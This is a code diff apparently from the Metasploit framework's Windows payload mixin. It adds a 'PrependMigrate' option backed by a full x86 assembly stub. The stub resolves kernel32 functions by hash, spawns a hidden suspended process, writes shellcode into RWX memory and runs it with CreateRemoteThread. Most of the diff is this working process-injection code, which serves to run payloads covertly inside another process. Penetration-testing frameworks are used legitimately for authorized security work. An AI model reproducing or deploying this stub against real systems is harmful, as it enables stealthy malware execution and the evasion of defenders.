@@ -26,7 +26,7 @@ module Msf::Payload::Windows
26
26
# This mixin is chained within payloads that target the Windows platform.
27
27
# It provides special variable substitution for things like EXITFUNC and
28
28
# automatically adds it as a required option for exploits that use windows
29
- # payloads.
29
+ # payloads. It also provides the migrate prepend.
30
30
#
31
31
def initialize ( info = { } )
32
32
ret = super ( info )
@@ -53,10 +53,208 @@ def initialize(info = {})
53
53
[
54
54
Msf ::OptRaw . new ( 'EXITFUNC' , [ true , "Exit technique: #{ @@exit_types . keys . join ( ", " ) } " , 'process' ] )
55
55
] , Msf ::Payload ::Windows )
56
-
56
+ register_advanced_options (
57
+ [
58
+ Msf ::OptBool . new ( 'PrependMigrate' , [ true , "Spawns and runs shellcode in new process" , false ] ) ,
59
+ Msf ::OptString . new ( 'PrependMigrateProc' , [ false , "Process to spawn and run shellcode in" ] )
60
+ ] , Msf ::Payload ::Windows )
57
61
ret
58
62
end
59
63
64
+ #
65
+ # Overload the generate() call to prefix our stubs
66
+ #
67
+ def generate ( *args )
68
+ # Call the real generator to get the payload
69
+ buf = super ( *args )
70
+ pre = ''
71
+
72
+ test_arch = [ *( self . arch ) ]
73
+
74
+ # Handle all x86 code here
75
+ if ( test_arch . include? ( ARCH_X86 ) )
76
+
77
+ # PrependMigrate
78
+ if ( datastore [ 'PrependMigrate' ] )
79
+ payloadsize = "0x%04x" % buf . length
80
+ procname = datastore [ 'PrependMigrateProc' ] || 'rundll32'
81
+
82
+ migrate_asm = <<EOS
83
+ cld ; Clear the direction flag.
84
+ call start ; Call start, this pushes the address of 'api_call' onto the stack.
85
+ api_call:
86
+ pushad ; We preserve all the registers for the caller, bar EAX and ECX.
87
+ mov ebp, esp ; Create a new stack frame
88
+ xor edx, edx ; Zero EDX
89
+ mov edx, [fs:edx+48] ; Get a pointer to the PEB
90
+ mov edx, [edx+12] ; Get PEB->Ldr
91
+ mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list
92
+ next_mod: ;
93
+ mov esi, [edx+40] ; Get pointer to modules name (unicode string)
94
+ movzx ecx, word [edx+38] ; Set ECX to the length we want to check
95
+ xor edi, edi ; Clear EDI which will store the hash of the module name
96
+ loop_modname: ;
97
+ xor eax, eax ; Clear EAX
98
+ lodsb ; Read in the next byte of the name
99
+ cmp al, 'a' ; Some versions of Windows use lower case module names
100
+ jl not_lowercase ;
101
+ sub al, 0x20 ; If so normalise to uppercase
102
+ not_lowercase: ;
103
+ ror edi, 13 ; Rotate right our hash value
104
+ add edi, eax ; Add the next byte of the name
105
+ loop loop_modname ; Loop untill we have read enough
106
+ ; We now have the module hash computed
107
+ push edx ; Save the current position in the module list for later
108
+ push edi ; Save the current module hash for later
109
+ ; Proceed to iterate the export address table,
110
+ mov edx, [edx+16] ; Get this modules base address
111
+ mov eax, [edx+60] ; Get PE header
112
+ add eax, edx ; Add the modules base address
113
+ mov eax, [eax+120] ; Get export tables RVA
114
+ test eax, eax ; Test if no export address table is present
115
+ jz get_next_mod1 ; If no EAT present, process the next module
116
+ add eax, edx ; Add the modules base address
117
+ push eax ; Save the current modules EAT
118
+ mov ecx, [eax+24] ; Get the number of function names
119
+ mov ebx, [eax+32] ; Get the rva of the function names
120
+ add ebx, edx ; Add the modules base address
121
+ ; Computing the module hash + function hash
122
+ get_next_func: ;
123
+ jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module
124
+ dec ecx ; Decrement the function name counter
125
+ mov esi, [ebx+ecx*4] ; Get rva of next module name
126
+ add esi, edx ; Add the modules base address
127
+ xor edi, edi ; Clear EDI which will store the hash of the function name
128
+ ; And compare it to the one we want
129
+ loop_funcname: ;
130
+ xor eax, eax ; Clear EAX
131
+ lodsb ; Read in the next byte of the ASCII function name
132
+ ror edi, 13 ; Rotate right our hash value
133
+ add edi, eax ; Add the next byte of the name
134
+ cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
135
+ jne loop_funcname ; If we have not reached the null terminator, continue
136
+ add edi, [ebp-8] ; Add the current module hash to the function hash
137
+ cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for
138
+ jnz get_next_func ; Go compute the next function hash if we have not found it
139
+ ; If found, fix up stack, call the function and then value else compute the next one...
140
+ pop eax ; Restore the current modules EAT
141
+ mov ebx, [eax+36] ; Get the ordinal table rva
142
+ add ebx, edx ; Add the modules base address
143
+ mov cx, [ebx+2*ecx] ; Get the desired functions ordinal
144
+ mov ebx, [eax+28] ; Get the function addresses table rva
145
+ add ebx, edx ; Add the modules base address
146
+ mov eax, [ebx+4*ecx] ; Get the desired functions RVA
147
+ add eax, edx ; Add the modules base address to get the functions actual VA
148
+ ; We now fix up the stack and perform the call to the desired function...
149
+ finish:
150
+ mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad
151
+ pop ebx ; Clear off the current modules hash
152
+ pop ebx ; Clear off the current position in the module list
153
+ popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
154
+ pop ecx ; Pop off the origional return address our caller will have pushed
155
+ pop edx ; Pop off the hash value our caller will have pushed
156
+ push ecx ; Push back the correct return value
157
+ jmp eax ; Jump into the required function
158
+ ; We now automagically return to the correct caller...
159
+ get_next_mod: ;
160
+ pop eax ; Pop off the current (now the previous) modules EAT
161
+ get_next_mod1: ;
162
+ pop edi ; Pop off the current (now the previous) modules hash
163
+ pop edx ; Restore our position in the module list
164
+ mov edx, [edx] ; Get the next module
165
+ jmp next_mod ; Process this module
166
+ ;--------------------------------------------------------------------------------------
167
+ start: ;
168
+ pop ebp ; Pop off the address of 'api_call' for calling later.
169
+
170
+ ; get our own startupinfo at esp+0x60
171
+ add esp,-400 ; adjust the stack to avoid corruption
172
+ mov edx,esp
173
+ add edx,0x60
174
+ push edx
175
+ push 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" )
176
+ call ebp ; GetStartupInfoA( &si );
177
+
178
+ ; ptr to startupinfo is in eax
179
+ ; pointer to string is in ecx
180
+ jmp getcommand
181
+ gotcommand:
182
+ pop esi ; esi = address of process name (command line)
183
+
184
+ ; create the process
185
+ mov edi,eax
186
+ add edi,0x60 ; Offset of empty space for lpProcessInformation
187
+ push edi ; lpProcessInformation : write processinfo here
188
+ push eax ; lpStartupInfo : current info (read)
189
+ xor ebx,ebx
190
+ push ebx ; lpCurrentDirectory
191
+ push ebx ; lpEnvironment
192
+ push 0x08000004 ; dwCreationFlags CREATE_NO_WINDOW | CREATE_SUSPENDED
193
+ push ebx ; bInHeritHandles
194
+ push ebx ; lpThreadAttributes
195
+ push ebx ; lpProcessAttributes
196
+ push esi ; lpCommandLine
197
+ push ebx ; lpApplicationName
198
+
199
+ push 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" )
200
+ call ebp ; CreateProcessA( &si );
201
+
202
+ ; allocate memory in the process (VirtualAllocEx())
203
+ ; get handle
204
+ push 0x40 ; RWX
205
+ add bh,0x10 ; ebx = 0x1000
206
+ push ebx ; MEM_COMMIT
207
+ push ebx ; size
208
+ xor ebx,ebx
209
+ push ebx ; address
210
+ push [edi] ; handle
211
+ push 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" )
212
+ call ebp ; VirtualAllocEx( ...);
213
+
214
+ ; eax now contains the destination
215
+ ; WriteProcessMemory()
216
+ push esp ; lpNumberOfBytesWritten
217
+ push #{ payloadsize } ; nSize
218
+ ; pick up pointer to shellcode & keep it on stack
219
+ jmp begin_of_payload
220
+ begin_of_payload_return: ; lpBuffer
221
+ push eax ; lpBaseAddress
222
+ push [edi] ; hProcess
223
+ push 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" )
224
+ call ebp ; WriteProcessMemory( ...);
225
+
226
+ ; run the code (CreateRemoteThread())
227
+ push ebx ; lpthreadID
228
+ push ebx ; run immediately
229
+ push ebx ; no parameter
230
+ mov ecx,[esp-0x4]
231
+ push ecx ; shellcode
232
+ push ebx ; stacksize
233
+ push ebx ; lpThreadAttributes
234
+ push [edi]
235
+ push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" )
236
+ call ebp ; CreateRemoteThread( ...);
237
+
238
+ ;sleep
239
+ push -1
240
+ push 0xE035F044 ; hash( "kernel32.dll", "Sleep" )
241
+ call ebp ; Sleep( ... );
242
+
243
+ getcommand:
244
+ call gotcommand
245
+ db "#{ procname } "
246
+ db 0x00
247
+ begin_of_payload:
248
+ call begin_of_payload_return
249
+ EOS
250
+
251
+ pre << Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , migrate_asm ) . encode_string
252
+ end
253
+ end
254
+
255
+ return ( pre + buf )
256
+ end
257
+
60
258
#
61
259
# Replace the EXITFUNC variable like madness
62
260
#
0 commit comments